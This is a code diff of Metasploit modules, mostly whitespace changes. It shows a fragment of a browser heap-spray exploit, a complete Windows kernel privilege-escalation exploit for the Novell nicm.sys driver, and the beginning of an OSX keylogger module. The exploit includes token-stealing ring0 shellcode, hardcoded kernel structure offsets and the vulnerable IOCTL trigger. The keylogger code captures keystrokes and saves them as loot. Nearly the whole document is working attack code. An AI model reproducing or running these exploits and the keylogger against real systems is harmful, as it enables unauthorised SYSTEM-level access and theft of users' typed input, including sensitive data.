js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
|
||||
js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))
|
||||
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
|
||||
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
|
||||
js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))
|
||||
|
||||
content = <<-HTML
|
||||
content = <<-HTML
|
||||
<html>
|
||||
<script>
|
||||
var heap_chunks;
|
||||
|
|
|
@ -12,302 +12,303 @@ require 'msf/core/post/windows/priv'
|
|||
require 'msf/core/post/windows/process'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = AverageRanking
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in the nicm.sys driver to execute arbitrary code in
|
||||
kernel space. The vulnerability occurs while handling ioctl requests with code
|
||||
0x143B6B, where a user provided pointer is used as function pointer. The module
|
||||
has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery
|
||||
'juan vazquez' # MSF module
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
|
||||
# as installed with Novell Client 2 SP3 for Windows 7
|
||||
[ 'Automatic', { } ],
|
||||
[ 'Windows 7 SP1',
|
||||
{
|
||||
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
|
||||
'_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct
|
||||
'_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct
|
||||
'_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct
|
||||
'_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct
|
||||
}
|
||||
]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '93718' ],
|
||||
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],
|
||||
[ 'URL', 'http://pastebin.com/GB4iiEwR' ]
|
||||
],
|
||||
'DisclosureDate' => 'May 22 2013',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in the nicm.sys driver to execute arbitrary code in
|
||||
kernel space. The vulnerability occurs while handling ioctl requests with code
|
||||
0x143B6B, where a user provided pointer is used as function pointer. The module
|
||||
has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery
|
||||
'juan vazquez' # MSF module
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
|
||||
# as installed with Novell Client 2 SP3 for Windows 7
|
||||
[ 'Automatic', { } ],
|
||||
[ 'Windows 7 SP1',
|
||||
{
|
||||
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
|
||||
'_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct
|
||||
'_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct
|
||||
'_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct
|
||||
'_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct
|
||||
}
|
||||
]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-3956' ],
|
||||
[ 'OSVDB', '93718' ],
|
||||
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],
|
||||
[ 'URL', 'http://pastebin.com/GB4iiEwR' ]
|
||||
],
|
||||
'DisclosureDate' => 'May 22 2013',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def add_railgun_functions
|
||||
session.railgun.add_function(
|
||||
'ntdll',
|
||||
'NtAllocateVirtualMemory',
|
||||
'DWORD',
|
||||
[
|
||||
["DWORD", "ProcessHandle", "in"],
|
||||
["PBLOB", "BaseAddress", "inout"],
|
||||
["PDWORD", "ZeroBits", "in"],
|
||||
["PBLOB", "RegionSize", "inout"],
|
||||
["DWORD", "AllocationType", "in"],
|
||||
["DWORD", "Protect", "in"]
|
||||
])
|
||||
def add_railgun_functions
|
||||
session.railgun.add_function(
|
||||
'ntdll',
|
||||
'NtAllocateVirtualMemory',
|
||||
'DWORD',
|
||||
[
|
||||
["DWORD", "ProcessHandle", "in"],
|
||||
["PBLOB", "BaseAddress", "inout"],
|
||||
["PDWORD", "ZeroBits", "in"],
|
||||
["PBLOB", "RegionSize", "inout"],
|
||||
["DWORD", "AllocationType", "in"],
|
||||
["DWORD", "Protect", "in"]
|
||||
])
|
||||
|
||||
session.railgun.add_function(
|
||||
'ntdll',
|
||||
'NtDeviceIoControlFile',
|
||||
'DWORD',
|
||||
[
|
||||
[ "DWORD", "FileHandle", "in" ],
|
||||
[ "DWORD", "Event", "in" ],
|
||||
[ "DWORD", "ApcRoutine", "in" ],
|
||||
[ "DWORD", "ApcContext", "in" ],
|
||||
[ "PDWORD", "IoStatusBlock", "out" ],
|
||||
[ "DWORD", "IoControlCode", "in" ],
|
||||
[ "LPVOID", "InputBuffer", "in" ],
|
||||
[ "DWORD", "InputBufferLength", "in" ],
|
||||
[ "LPVOID", "OutputBuffer", "in" ],
|
||||
[ "DWORD", "OutPutBufferLength", "in" ]
|
||||
])
|
||||
session.railgun.add_function(
|
||||
'ntdll',
|
||||
'NtDeviceIoControlFile',
|
||||
'DWORD',
|
||||
[
|
||||
[ "DWORD", "FileHandle", "in" ],
|
||||
[ "DWORD", "Event", "in" ],
|
||||
[ "DWORD", "ApcRoutine", "in" ],
|
||||
[ "DWORD", "ApcContext", "in" ],
|
||||
[ "PDWORD", "IoStatusBlock", "out" ],
|
||||
[ "DWORD", "IoControlCode", "in" ],
|
||||
[ "LPVOID", "InputBuffer", "in" ],
|
||||
[ "DWORD", "InputBufferLength", "in" ],
|
||||
[ "LPVOID", "OutputBuffer", "in" ],
|
||||
[ "DWORD", "OutPutBufferLength", "in" ]
|
||||
])
|
||||
|
||||
session.railgun.add_function(
|
||||
'ntdll',
|
||||
'NtQueryIntervalProfile',
|
||||
'DWORD',
|
||||
[
|
||||
[ "DWORD", "ProfileSource", "in" ],
|
||||
[ "PDWORD", "Interval", "out" ]
|
||||
])
|
||||
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
|
||||
session.railgun.add_function(
|
||||
'psapi',
|
||||
'EnumDeviceDrivers',
|
||||
'BOOL',
|
||||
[
|
||||
["PBLOB", "lpImageBase", "out"],
|
||||
["DWORD", "cb", "in"],
|
||||
["PDWORD", "lpcbNeeded", "out"]
|
||||
])
|
||||
session.railgun.add_function(
|
||||
'psapi',
|
||||
'GetDeviceDriverBaseNameA',
|
||||
'DWORD',
|
||||
[
|
||||
["LPVOID", "ImageBase", "in"],
|
||||
["PBLOB", "lpBaseName", "out"],
|
||||
["DWORD", "nSize", "in"]
|
||||
])
|
||||
end
|
||||
session.railgun.add_function(
|
||||
'ntdll',
|
||||
'NtQueryIntervalProfile',
|
||||
'DWORD',
|
||||
[
|
||||
[ "DWORD", "ProfileSource", "in" ],
|
||||
[ "PDWORD", "Interval", "out" ]
|
||||
])
|
||||
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
|
||||
session.railgun.add_function(
|
||||
'psapi',
|
||||
'EnumDeviceDrivers',
|
||||
'BOOL',
|
||||
[
|
||||
["PBLOB", "lpImageBase", "out"],
|
||||
["DWORD", "cb", "in"],
|
||||
["PDWORD", "lpcbNeeded", "out"]
|
||||
])
|
||||
session.railgun.add_function(
|
||||
'psapi',
|
||||
'GetDeviceDriverBaseNameA',
|
||||
'DWORD',
|
||||
[
|
||||
["LPVOID", "ImageBase", "in"],
|
||||
["PBLOB", "lpBaseName", "out"],
|
||||
["DWORD", "nSize", "in"]
|
||||
])
|
||||
end
|
||||
|
||||
def open_device(dev)
|
||||
def open_device(dev)
|
||||
|
||||
invalid_handle_value = 0xFFFFFFFF
|
||||
invalid_handle_value = 0xFFFFFFFF
|
||||
|
||||
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
|
||||
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
|
||||
|
||||
handle = r['return']
|
||||
handle = r['return']
|
||||
|
||||
if handle == invalid_handle_value
|
||||
return nil
|
||||
end
|
||||
if handle == invalid_handle_value
|
||||
return nil
|
||||
end
|
||||
|
||||
return handle
|
||||
end
|
||||
return handle
|
||||
end
|
||||
|
||||
def ring0_shellcode(t)
|
||||
tokenstealing = "\x52" # push edx # Save edx on the stack
|
||||
tokenstealing << "\x53" # push ebx # Save ebx on the stack
|
||||
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
|
||||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
|
||||
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS
|
||||
tokenstealing << "\x8b\xc8" # mov ecx, eax
|
||||
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN
|
||||
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks
|
||||
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
|
||||
tokenstealing << "\x75\xe8" # jne 0000101e ======================
|
||||
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX
|
||||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
|
||||
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS
|
||||
tokenstealing << "\x5b" # pop ebx # Restores ebx
|
||||
tokenstealing << "\x5a" # pop edx # Restores edx
|
||||
tokenstealing << "\xc2\x08" # ret 08h # Away from the kernel!
|
||||
def ring0_shellcode(t)
|
||||
tokenstealing = "\x52" # push edx # Save edx on the stack
|
||||
tokenstealing << "\x53" # push ebx # Save ebx on the stack
|
||||
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
|
||||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
|
||||
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS
|
||||
tokenstealing << "\x8b\xc8" # mov ecx, eax
|
||||
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN
|
||||
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks
|
||||
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
|
||||
tokenstealing << "\x75\xe8" # jne 0000101e ======================
|
||||
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX
|
||||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
|
||||
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS
|
||||
tokenstealing << "\x5b" # pop ebx # Restores ebx
|
||||
tokenstealing << "\x5a" # pop edx # Restores edx
|
||||
tokenstealing << "\xc2\x08" # ret 08h # Away from the kernel!
|
||||
|
||||
return tokenstealing
|
||||
end
|
||||
return tokenstealing
|
||||
end
|
||||
|
||||
|
||||
def allocate_memory(proc, address, length)
|
||||
def allocate_memory(proc, address, length)
|
||||
|
||||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
|
||||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
|
||||
|
||||
if not result["BaseAddress"] or result["BaseAddress"].empty?
|
||||
vprint_error("Failed to allocate memory")
|
||||
return nil
|
||||
end
|
||||
if not result["BaseAddress"] or result["BaseAddress"].empty?
|
||||
vprint_error("Failed to allocate memory")
|
||||
return nil
|
||||
end
|
||||
|
||||
my_address = result["BaseAddress"].unpack("V")[0]
|
||||
my_address = result["BaseAddress"].unpack("V")[0]
|
||||
|
||||
vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")
|
||||
vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")
|
||||
|
||||
if not proc.memory.writable?(my_address)
|
||||
vprint_error("Failed to allocate memory")
|
||||
return nil
|
||||
else
|
||||
vprint_good("0x#{my_address.to_s(16)} is now writable")
|
||||
end
|
||||
if not proc.memory.writable?(my_address)
|
||||
vprint_error("Failed to allocate memory")
|
||||
return nil
|
||||
else
|
||||
vprint_good("0x#{my_address.to_s(16)} is now writable")
|
||||
end
|
||||
|
||||
return my_address
|
||||
end
|
||||
return my_address
|
||||
end
|
||||
|
||||
def junk(n=4)
|
||||
return rand_text_alpha(n).unpack("V").first
|
||||
end
|
||||
def junk(n=4)
|
||||
return rand_text_alpha(n).unpack("V").first
|
||||
end
|
||||
|
||||
def check
|
||||
handle = open_device("\\\\.\\nicm")
|
||||
if handle.nil?
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
def check
|
||||
handle = open_device("\\\\.\\nicm")
|
||||
if handle.nil?
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
def exploit
|
||||
def exploit
|
||||
|
||||
vprint_status("Adding the railgun stuff...")
|
||||
add_railgun_functions
|
||||
vprint_status("Adding the railgun stuff...")
|
||||
add_railgun_functions
|
||||
|
||||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
|
||||
elsif sysinfo["Architecture"] =~ /x64/
|
||||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||||
end
|
||||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
|
||||
elsif sysinfo["Architecture"] =~ /x64/
|
||||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||||
end
|
||||
|
||||
my_target = nil
|
||||
if target.name =~ /Automatic/
|
||||
print_status("Detecting the target system...")
|
||||
os = sysinfo["OS"]
|
||||
if os =~ /windows 7/i
|
||||
my_target = targets[1]
|
||||
print_status("Running against #{my_target.name}")
|
||||
end
|
||||
else
|
||||
my_target = target
|
||||
end
|
||||
my_target = nil
|
||||
if target.name =~ /Automatic/
|
||||
print_status("Detecting the target system...")
|
||||
os = sysinfo["OS"]
|
||||
if os =~ /windows 7/i
|
||||
my_target = targets[1]
|
||||
print_status("Running against #{my_target.name}")
|
||||
end
|
||||
else
|
||||
my_target = target
|
||||
end
|
||||
|
||||
if my_target.nil?
|
||||
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
|
||||
end
|
||||
if my_target.nil?
|
||||
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
|
||||
end
|
||||
|
||||
print_status("Checking device...")
|
||||
handle = open_device("\\\\.\\nicm")
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "\\\\.\\nicm device not found")
|
||||
else
|
||||
print_good("\\\\.\\nicm found!")
|
||||
end
|
||||
print_status("Checking device...")
|
||||
handle = open_device("\\\\.\\nicm")
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "\\\\.\\nicm device not found")
|
||||
else
|
||||
print_good("\\\\.\\nicm found!")
|
||||
end
|
||||
|
||||
this_proc = session.sys.process.open
|
||||
this_proc = session.sys.process.open
|
||||
|
||||
print_status("Storing the Kernel stager on memory...")
|
||||
stager_address = 0x0d0d0000
|
||||
stager_address = allocate_memory(this_proc, stager_address, 0x1000)
|
||||
print_status("Storing the Kernel stager on memory...")
|
||||
stager_address = 0x0d0d0000
|
||||
stager_address = allocate_memory(this_proc, stager_address, 0x1000)
|
||||
|
||||
if stager_address.nil? or stager_address == 0
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Failed to allocate memory")
|
||||
end
|
||||
if stager_address.nil? or stager_address == 0
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Failed to allocate memory")
|
||||
end
|
||||
|
||||
# eax => &kernel_stager
|
||||
# .text:000121A3 mov ecx, eax
|
||||
# .text:000121A5 mov eax, [ecx]
|
||||
# .text:000121A7 mov edx, [eax]
|
||||
# .text:000121A9 push ecx
|
||||
# .text:000121AA push eax
|
||||
# .text:000121AB call dword ptr [edx+0Ch]
|
||||
kernel_stager = [
|
||||
stager_address + 0x14, # stager_address
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
stager_address + 0x18, # stager_address + 0x14
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
stager_address + 0x28 # stager_address + 0x24
|
||||
].pack("V*")
|
||||
# eax => &kernel_stager
|
||||
# .text:000121A3 mov ecx, eax
|
||||
# .text:000121A5 mov eax, [ecx]
|
||||
# .text:000121A7 mov edx, [eax]
|
||||
# .text:000121A9 push ecx
|
||||
# .text:000121AA push eax
|
||||
# .text:000121AB call dword ptr [edx+0Ch]
|
||||
kernel_stager = [
|
||||
stager_address + 0x14, # stager_address
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
stager_address + 0x18, # stager_address + 0x14
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
stager_address + 0x28 # stager_address + 0x24
|
||||
].pack("V*")
|
||||
|
||||
kernel_stager << ring0_shellcode(my_target)
|
||||
kernel_stager << ring0_shellcode(my_target)
|
||||
|
||||
result = this_proc.memory.write(stager_address, kernel_stager)
|
||||
result = this_proc.memory.write(stager_address, kernel_stager)
|
||||
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Failed to write contents to memory")
|
||||
else
|
||||
vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")
|
||||
end
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Failed to write contents to memory")
|
||||
else
|
||||
vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")
|
||||
end
|
||||
|
||||
|
||||
print_status("Triggering the vulnerability to execute the Kernel Handler")
|
||||
magic_ioctl = 0x143B6B # Vulnerable IOCTL
|
||||
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
print_status("Triggering the vulnerability to execute the Kernel Handler")
|
||||
magic_ioctl = 0x143B6B # Vulnerable IOCTL
|
||||
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
if ioctl["GetLastError"] != 0
|
||||
print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")
|
||||
end
|
||||
if ioctl["GetLastError"] != 0
|
||||
print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")
|
||||
end
|
||||
|
||||
print_status("Checking privileges after exploitation...")
|
||||
print_status("Checking privileges after exploitation...")
|
||||
|
||||
if not is_system?
|
||||
fail_with(Failure::Unknown, "The exploitation wasn't successful")
|
||||
else
|
||||
print_good("Exploitation successful!")
|
||||
end
|
||||
if not is_system?
|
||||
fail_with(Failure::Unknown, "The exploitation wasn't successful")
|
||||
else
|
||||
print_good("Exploitation successful!")
|
||||
end
|
||||
|
||||
p = payload.encoded
|
||||
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
|
||||
if execute_shellcode(p)
|
||||
print_good("Enjoy")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Error while executing the payload")
|
||||
end
|
||||
end
|
||||
p = payload.encoded
|
||||
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
|
||||
if execute_shellcode(p)
|
||||
print_good("Enjoy")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Error while executing the payload")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -8,142 +8,142 @@
|
|||
require 'shellwords'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
# when we need to read from the keylogger,
|
||||
# we first "knock" the process by sending a USR1 signal.
|
||||
# the keylogger opens a local tcp port (22899 by default) momentarily
|
||||
# that we can connect to and read from (using cmd_exec(telnet ...)).
|
||||
attr_accessor :port
|
||||
# when we need to read from the keylogger,
|
||||
# we first "knock" the process by sending a USR1 signal.
|
||||
# the keylogger opens a local tcp port (22899 by default) momentarily
|
||||
# that we can connect to and read from (using cmd_exec(telnet ...)).
|
||||
attr_accessor :port
|
||||
|
||||
# the pid of the keylogger process
|
||||
attr_accessor :pid
|
||||
# the pid of the keylogger process
|
||||
attr_accessor :pid
|
||||
|
||||
# where we are storing the keylog
|
||||
attr_accessor :loot_path
|
||||
# where we are storing the keylog
|
||||
attr_accessor :loot_path
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OSX Capture Userspace Keylogger',
|
||||
'Description' => %q{
|
||||
Logs all keyboard events except cmd-keys and GUI password input.
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OSX Capture Userspace Keylogger',
|
||||
'Description' => %q{
|
||||
This module logs all keyboard events except cmd-keys and GUI password input.
|
||||
|
||||
Keylogs are transferred between client/server in chunks
|
||||
every SYNCWAIT seconds for reliability.
|
||||
Keylogs are transferred between client/server in chunks
|
||||
every SYNCWAIT seconds for reliability.
|
||||
|
||||
Works by calling the Carbon GetKeys() hook using the DL lib
|
||||
in OSX's system Ruby. The Ruby code is executed in a shell
|
||||
command using -e, so the payload never hits the disk.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
|
||||
'Platform' => [ 'osx'],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ]
|
||||
))
|
||||
It works by calling the Carbon GetKeys() hook using the DL lib
|
||||
in OSX's system Ruby. The Ruby code is executed in a shell
|
||||
command using -e, so the payload never hits the disk.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
|
||||
'Platform' => [ 'osx'],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('DURATION',
|
||||
[ true, 'The duration in seconds.', 600 ]
|
||||
),
|
||||
OptInt.new('SYNCWAIT',
|
||||
[ true, 'The time between transferring log chunks.', 10 ]
|
||||
),
|
||||
OptPort.new('LOGPORT',
|
||||
[ false, 'Local port opened for momentarily for log transfer', 22899 ]
|
||||
)
|
||||
]
|
||||
)
|
||||
end
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('DURATION',
|
||||
[ true, 'The duration in seconds.', 600 ]
|
||||
),
|
||||
OptInt.new('SYNCWAIT',
|
||||
[ true, 'The time between transferring log chunks.', 10 ]
|
||||
),
|
||||
OptPort.new('LOGPORT',
|
||||
[ false, 'Local port opened for momentarily for log transfer', 22899 ]
|
||||
)
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run_ruby_code
|
||||
# to pass args to ruby -e we use ARGF (stdin) and yaml
|
||||
opts = {
|
||||
:duration => datastore['DURATION'].to_i,
|
||||
:port => self.port
|
||||
}
|
||||
cmd = ['ruby', '-e', ruby_code(opts)]
|
||||
def run_ruby_code
|
||||
# to pass args to ruby -e we use ARGF (stdin) and yaml
|
||||
opts = {
|
||||
:duration => datastore['DURATION'].to_i,
|
||||
:port => self.port
|
||||
}
|
||||
cmd = ['ruby', '-e', ruby_code(opts)]
|
||||
|
||||
rpid = cmd_exec(cmd.shelljoin, nil, 10)
|
||||
rpid = cmd_exec(cmd.shelljoin, nil, 10)
|
||||
|
||||
if rpid =~ /^\d+/
|
||||
print_status "Ruby process executing with pid #{rpid.to_i}"
|
||||
rpid.to_i
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Ruby keylogger command failed with error #{rpid}")
|
||||
end
|
||||
end
|
||||
if rpid =~ /^\d+/
|
||||
print_status "Ruby process executing with pid #{rpid.to_i}"
|
||||
rpid.to_i
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Ruby keylogger command failed with error #{rpid}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
if session.nil?
|
||||
print_error "Invalid SESSION id."
|
||||
return
|
||||
end
|
||||
def run
|
||||
if session.nil?
|
||||
print_error "Invalid SESSION id."
|
||||
return
|
||||
end
|
||||
|
||||
if datastore['DURATION'].to_i < 1
|
||||
print_error 'Invalid DURATION value.'
|
||||
return
|
||||
end
|
||||
if datastore['DURATION'].to_i < 1
|
||||
print_error 'Invalid DURATION value.'
|
||||
return
|
||||
end
|
||||
|
||||
print_status "Executing ruby command to start keylogger process."
|
||||
print_status "Executing ruby command to start keylogger process."
|
||||
|
||||
@port = datastore['LOGPORT'].to_i
|
||||
@pid = run_ruby_code
|
||||
@port = datastore['LOGPORT'].to_i
|
||||
@pid = run_ruby_code
|
||||
|
||||
begin
|
||||
Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs
|
||||
print_status "Entering read loop"
|
||||
while true
|
||||
print_status "Waiting #{datastore['SYNCWAIT']} seconds."
|
||||
Rex.sleep(datastore['SYNCWAIT'])
|
||||
print_status "Sending USR1 signal to open TCP port..."
|
||||
cmd_exec("kill -USR1 #{self.pid}")
|
||||
print_status "Dumping logs..."
|
||||
log = cmd_exec("telnet localhost #{self.port}")
|
||||
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
|
||||
log = log_a.join("\n")+"\n"
|
||||
print_status "#{log_a.size} keystrokes captured"
|
||||
if log_a.size > 0
|
||||
if self.loot_path.nil?
|
||||
self.loot_path = store_loot(
|
||||
"keylog", "text/plain", session, log, "keylog.log", "OSX keylog"
|
||||
)
|
||||
else
|
||||
File.open(self.loot_path, 'a') { |f| f.write(log) }
|
||||
end
|
||||
